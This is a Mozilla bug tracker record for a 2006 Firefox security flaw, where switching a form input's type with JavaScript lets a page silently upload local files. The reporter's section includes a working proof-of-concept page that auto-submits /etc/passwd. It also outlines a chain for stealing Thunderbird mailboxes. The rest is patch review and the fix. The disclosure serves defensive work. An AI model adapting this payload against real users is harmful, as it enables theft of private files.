Closed
Bug 334977
Opened 19 years ago
Closed 19 years ago
[FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Categories
(Core :: Layout: Form Controls, defect, P1)
Tracking
()
RESOLVED
FIXED
mozilla1.9alpha1
People
(Reporter: cmcauley, Assigned: sicking)
References
Details
(Keywords: fixed1.8.1, verified1.8.0.4, Whiteboard: [sg:high])
Attachments
(7 files, 6 obsolete files)
|
13.66 KB,
application/x-compressed-tar
|
Details | |
|
450 bytes,
text/html
|
Details | |
|
450 bytes,
text/html
|
Details | |
|
479 bytes,
text/html
|
Details | |
|
30.59 KB,
patch
|
Details | Diff | Splinter Review | |
|
33.63 KB,
patch
|
jst
:
review+
jst
:
superreview+
jst
:
approval-branch-1.8.1+
dveditz
:
approval1.8.0.4+
|
Details | Diff | Splinter Review |
|
22.77 KB,
patch
|
Details | Diff | Splinter Review |
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7
Build Identifier: http://www.mozilla.com/products/download.html?product=firefox-1.5.0.2&os=win&lang=en-US
I was trying to reproduce CVE-2006-1729 with very little details.
Came up with this code :
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}
chuckfile was originally type textbox
it worked on the vulnerable versions of firefox listed. Hey! I said to myself, alright!
posted it to a friend, he said he was patched. Asked him anyways to have a look.
Now for the interesting part.
It still worked. Not believing him, I ran over to a winxp machine 10 minutes ago, d/l'd 1.5.0.2 , and ran and it worked.
so attached will be lots of PoC and some other stuff for perusal. The PoC assumes the user has a install of thunderbird on their linux machine, and tries to upload the mailbox store.
also in the tarball is a quick demo for windows people uploading boot.ini
Reproducible: Always
Steps to Reproduce:
Steps to reproduce:
if using linux with a LAMP setup do this:
throw all the HTML into /var/www/html (or somewhere similar).
visit sploit_1729.html
will attempt to upload /etc/passwd
parse that, find user dirs
then try to locate $USERDIR/.thunderbird/profiles.ini
upload that
parse that for profile dir
then try upload
$USERDIR/.thunderbird/$PROFILE/Mail/Local\ Folders/Inbox
There are also cve-2006-1729.html & cve-2006-1729_windows.html which are quick dirty demo's of the prob
Actual Results:
uploads my files
Expected Results:
don't upload my files!
Here's a quick demo if you don't want a tarball
<HTML>
<HEAD>
<script>
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}
</script>
</HEAD>
<BODY onLoad="change();document.getElementById('aform').submit();">
<FORM id="aform" enctype="multipart/form-data" ACTION="uploadhere.php" METHOD="POST">
<INPUT id="chuckfile" type="text" name="file4chuck" value="/etc/passwd" />
</FORM>
</HTML>
|
Reporter | |
Comment 1•19 years ago
|
||
|
||
Comment 2•19 years ago
|
||
|
|
||
Comment 3•19 years ago
|
||
|
|
||
Comment 4•19 years ago
|
||
confirmed with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060411 Firefox/1.5.0.2
Status: UNCONFIRMED → NEW
Ever confirmed: true
|
||
Updated•19 years ago
|
Flags: blocking1.8.0.3?
|
|
||
Updated•19 years ago
|
Flags: blocking1.8.0.3? → blocking1.8.0.3+
This seems like something that was broken by the ordering change in bug 325947.
Component: Security → Layout: Form Controls
Product: Firefox → Core
QA Contact: firefox → layout.form-controls
Version: unspecified → 1.8 Branch
|
|
Reporter | |
Comment 6•19 years ago
|
||
this doesn't seem to affect 1.0.8 with the way i have it lined up
on the js line where i assign type radio to the input box i tried out all HTML 4 types...
here are the results (Y signifies value stays in file box):
FF 1.5.0.2 (win) FF 1.0.8 (fedora-core-4)
foobar N N
radio Y N
checkbox Y N
text N N
hidden Y N
password N N
submit Y N
reset Y N
image Y N
button Y N
would any of you guys know whats going on between 1.0.8 and 1.5.0.2 that makes a difference with this?
|
||
Comment 8•19 years ago
|
||
Chuck, 1.8 branch has asynchronous style changes; that means that the frame type doesn't change immediately when the content type changes.
Still sorting out what's happening here.
|
|
||
Comment 9•19 years ago
|
||
So the sequence of events here is:
1) Text control changes to radio; mValue is null
2) Radio changes to file; mValue is null, and since we're changing from radio
we don't try to set the value in the frame.
3) We submit, and get our value from the frame (in the original testcase).
An alternate end would be:
3') Text control frame is torn down, stores its value in the content without
checking the type (this testcase; I have a fix for this one but not the
original one yet).
|
||
Updated•19 years ago
|
Summary: File Upload Box Still can have arbitrary file specified by monkeying around with javascript → File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Whiteboard: [sg:high]
|
|
||
Comment 10•19 years ago
|
||
This is the trunk version.... I'll have to merge to branch if the general approach is ok by you, Jonas.
Attachment #219347 -
Flags: superreview?(bugmail)
Attachment #219347 -
Flags: review?(bugmail)
|
|
||
Updated•19 years ago
|
Assignee: nobody → bzbarsky
Priority: -- → P1
Summary: File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript → [FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Target Milestone: --- → mozilla1.9alpha
|
Assignee | |
Comment 11•19 years ago
|
||
This patch makes us compleatly separate filename from all other types of values. There should be no way we can get any type of value in there now. The only two places we set the string that is later used as a filename is after the file-selector has been shown, or when we restore state from a previous file-control.
Attachment #219415 -
Flags: superreview?(dbaron)
Attachment #219415 -
Flags: review?(bzbarsky)
|
|
Assignee | |
Comment 12•19 years ago
|
||
Forgot to run the final diff. This version works better.
Oh, i'm not sure if we need to call SetFileName in more places in nsFileControlFrame. Can you change the value any other way than by bringing up the file picker?
Also, I suspect nsFileControlFrame::Destroy can be completely removed.
Attachment #219415 -
Attachment is obsolete: true
Attachment #219416 -
Flags: superreview?(dbaron)
Attachment #219416 -
Flags: review?(bzbarsky)
Attachment #219415 -
Flags: superreview?(dbaron)
Attachment #219415 -
Flags: review?(bzbarsky)
|
|
Assignee | |
Comment 13•19 years ago
|
||
For review goodness...
|
|
Assignee | |
Updated•19 years ago
|
Flags: blocking1.8.1?
|
|
||
Comment 14•19 years ago
|
||
> Can you change the value any other way than by bringing up the file picker?
On trunk, I don't think so, but there might be an exception for privileged scripts.
On 1.8.0.x, yes, because on that branch users can type filenames directly into the textbox (bug 258875).
|
|
Assignee | |
Comment 15•19 years ago
|
||
Ok, i'll write up a patch for 1.8.0.x too that calls SetFileName on every key-stroke then.
Note that privileged script can call .value = "foo" still, even on file-inputs.
|
|
Assignee | |
Comment 16•19 years ago
|
||
Comment on attachment 219416 [details] [diff] [review]
Alternative patch v 1.1
Crap, i realized that there's still a theoretical risk that the normal value creeps into the filename since nsFileControlFrame calls GetValue.
New patch later today or tomorrow.
Attachment #219416 -
Flags: superreview?(dbaron)
Attachment #219416 -
Flags: superreview?
Attachment #219416 -
Flags: review?(bzbarsky)
Attachment #219416 -
Flags: review-
|
|
Assignee | |
Updated•19 years ago
|
Attachment #219416 -
Flags: superreview?
|
|
||
Comment 17•19 years ago
|
||
Jonas, the deadline for getting 1.8.0.3 approvals is tomorrow. I'd really like one or the other of these patches to make 1.8.0.3 (since this thing is more or less out in the wild), which means it needs to land on trunk today or at worst tomorrow morning and start baking so drivers have something to evaluate when doing approvals.
If you don't think your thing will be ready by then, we should probably just check in my version, though I do prefer your approach.
|
|
Assignee | |
Comment 18•19 years ago
|
||
Actually, the last patch would have fixed all security issues too. However it might have been possible to trick the wrong file into being displayed.
So this one should be fine for trunk and 1.8.1. I'll attach another patch for 1.8.0
Assignee: bzbarsky → bugmail
Attachment #219416 -
Attachment is obsolete: true
Attachment #219417 -
Attachment is obsolete: true
Status: NEW → ASSIGNED
Attachment #219575 -
Flags: superreview?(bzbarsky)
Attachment #219575 -
Flags: review?(bzbarsky)
|
|
Assignee | |
Comment 19•19 years ago
|
||
|
|
||
Comment 20•19 years ago
|
||
Comment on attachment 219575 [details] [diff] [review]
Alternative patch v 2
>Index: content/html/content/public/nsIFileControlElement.h
>+ * This interface is used for the text control frame to store its value away
s/text/file/, no?
I kinda wish we weren't adding another vtable pointer here, but I'm not sure inheriting this from one of the existing interfaces would work so well..
>Index: content/html/content/src/nsHTMLInputElement.cpp
>- * The current value of the input if it has been changed from the deafault
>+ * The current value of the input if it has been changed from the default
> */
> char* mValue;
>+ /**
>+ * The current value of the input if it has been changed from the default
>+ */
>+ nsAutoPtr<nsString> mFileName;
So how are the two different? Document!
>@@ -619,18 +633,17 @@ nsHTMLInputElement::SetSize(PRUint32 aVa
>@@ -671,52 +695,82 @@ nsHTMLInputElement::GetValue(nsAString&
>+nsHTMLInputElement::SetFileName(const nsAString& aValue)
>+{
>+ delete mFileName;
>+
>+ // No big deal if |new| fails, we simply won't submit the file
>+ mFileName = aValue.IsEmpty() ? nsnull : new nsString(aValue);
That'll double-delete mFileName and crash, no? operator= on an nsAutoPtr deletes the old value. So no need for the manual delete here.
>Index: layout/forms/nsFileControlFrame.cpp
>@@ -356,16 +314,19 @@ nsFileControlFrame::MouseClick(nsIDOMEve
>+ nsCOMPtr<nsIFileControlElement> fileInput = do_QueryInterface(mContent);
>+ fileInput->SetFileName(unicodePath);
Thanks to XBL, the QI can fail... So null-check, please.
>@@ -582,22 +543,22 @@ nsFileControlFrame::GetFormProperty(nsIA
>+ nsCOMPtr<nsIFileControlElement> fileControl = do_QueryInterface(mTextContent);
>+ NS_ASSERTION(fileControl,
>+ "<input> element not implementing nsIFileControlElement?");
Take out the assertion; as written this code can't assert that.
r+sr=bzbarsky; for branch we need a version that deals with typing in the textfield, right?
Attachment #219575 -
Flags: superreview?(bzbarsky)
Attachment #219575 -
Flags: superreview+
Attachment #219575 -
Flags: review?(bzbarsky)
Attachment #219575 -
Flags: review+
|
|
Assignee | |
Comment 21•19 years ago
|
||
> I kinda wish we weren't adding another vtable pointer here, but I'm not sure
> inheriting this from one of the existing interfaces would work so well..
I agree, this class has way too many interfaces. Might be worth looking into cleaning that up in general at some point. But that's a separate bug. This is a security patch, i want to keep it clean :)
> That'll double-delete mFileName and crash, no? operator= on an nsAutoPtr
> deletes the old value. So no need for the manual delete here.
Opps! Forgot that I had made that an nsAutoPtr. Would be good if nsAutoPtr protected against that.
> r+sr=bzbarsky; for branch we need a version that deals with typing in the
> textfield, right?
Right, got sidetracked today, but I'm almost done with that.
|
|
Assignee | |
Comment 22•19 years ago
|
||
Attachment #219347 -
Attachment is obsolete: true
Attachment #219575 -
Attachment is obsolete: true
Attachment #219576 -
Attachment is obsolete: true
Attachment #219347 -
Flags: superreview?(bugmail)
Attachment #219347 -
Flags: review?(bugmail)
|
|
||
Comment 23•19 years ago
|
||
This is going to get almost no trunk baking before hitting the branch, please land today! And we need a separate branch patch too, right?
|
|
Assignee | |
Comment 24•19 years ago
|
||
This has already landed on trunk, I just kept the bug open for branch, but i guess i should mark it fixed. Still working on the branch version.
Status: ASSIGNED → RESOLVED
Closed: 19 years ago
Resolution: --- → FIXED
|
|
Assignee | |
Comment 25•19 years ago
|
||
This is the branch version. I made it react changes in the textfield by intercepting the input-events submitted from the anonymous content.
I also use a separate property name for file inputs to make sure that data isn't accidentally transfered <input type=text> -> nsTextControlFrame -> <input type=file>
Note that I found a bug in the trunk version of this patch. If the value is changed on the node directly the frame doesn't get updated. I've fixed that in this version, i'll create a trunk fix as well.
Attachment #220104 -
Flags: superreview?(bzbarsky)
Attachment #220104 -
Flags: review?(bzbarsky)
Attachment #220104 -
Flags: approval-branch-1.8.1?(jst)
|
||
Comment 26•19 years ago
|
||
Comment on attachment 220104 [details] [diff] [review]
Branch patch
r+sr+a=jst
Attachment #220104 -
Flags: superreview?(bzbarsky)
Attachment #220104 -
Flags: superreview+
Attachment #220104 -
Flags: review?(bzbarsky)
Attachment #220104 -
Flags: review+
Attachment #220104 -
Flags: approval-branch-1.8.1?(jst)
Attachment #220104 -
Flags: approval-branch-1.8.1+
|
|
Assignee | |
Updated•19 years ago
|
Keywords: fixed1.8.1
|
|
Assignee | |
Updated•19 years ago
|
Attachment #220104 -
Flags: approval1.8.0.4?
|
|
||
Comment 27•19 years ago
|
||
Comment on attachment 220104 [details] [diff] [review]
Branch patch
Looks reasonable, fwiw. ;)
|
|
Assignee | |
Updated•19 years ago
|
Flags: blocking1.8.1?
|
|
||
Comment 28•19 years ago
|
||
Comment on attachment 220104 [details] [diff] [review]
Branch patch
approved for 1.8.0 branch, a=dveditz for drivers
Attachment #220104 -
Flags: approval1.8.0.4? → approval1.8.0.4+
|
|
Assignee | |
Updated•19 years ago
|
Keywords: fixed1.8.0.4
|
|
||
Comment 29•19 years ago
|
||
verified fixed ff1.5.0.4/20060508/win/linux
Keywords: fixed1.8.0.4 → verified1.8.0.4
|
|
||
Updated•18 years ago
|
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] → [sg:high] ff1.0/moz1.7 branches not affected
|
|
Assignee | |
Comment 30•18 years ago
|
||
Though the testcases in this bug might not affect the old 1.7 and 1.0 branches some of the other filecontrol bugs found recently might, and this patch is likely to be the best fix for them. (some of the other fixes we've tried on trunk has tended to open new exploits)
|
|
||
Updated•18 years ago
|
Flags: blocking1.7.14?
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9?
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] ff1.0/moz1.7 branches not affected → [sg:high]
|
|
||
Updated•18 years ago
|
Group: security
|
||
Comment 31•18 years ago
|
||
Attachment #225484 -
Flags: review?(caillon)
You need to log in
before you can comment on or make changes to this bug.
Description
•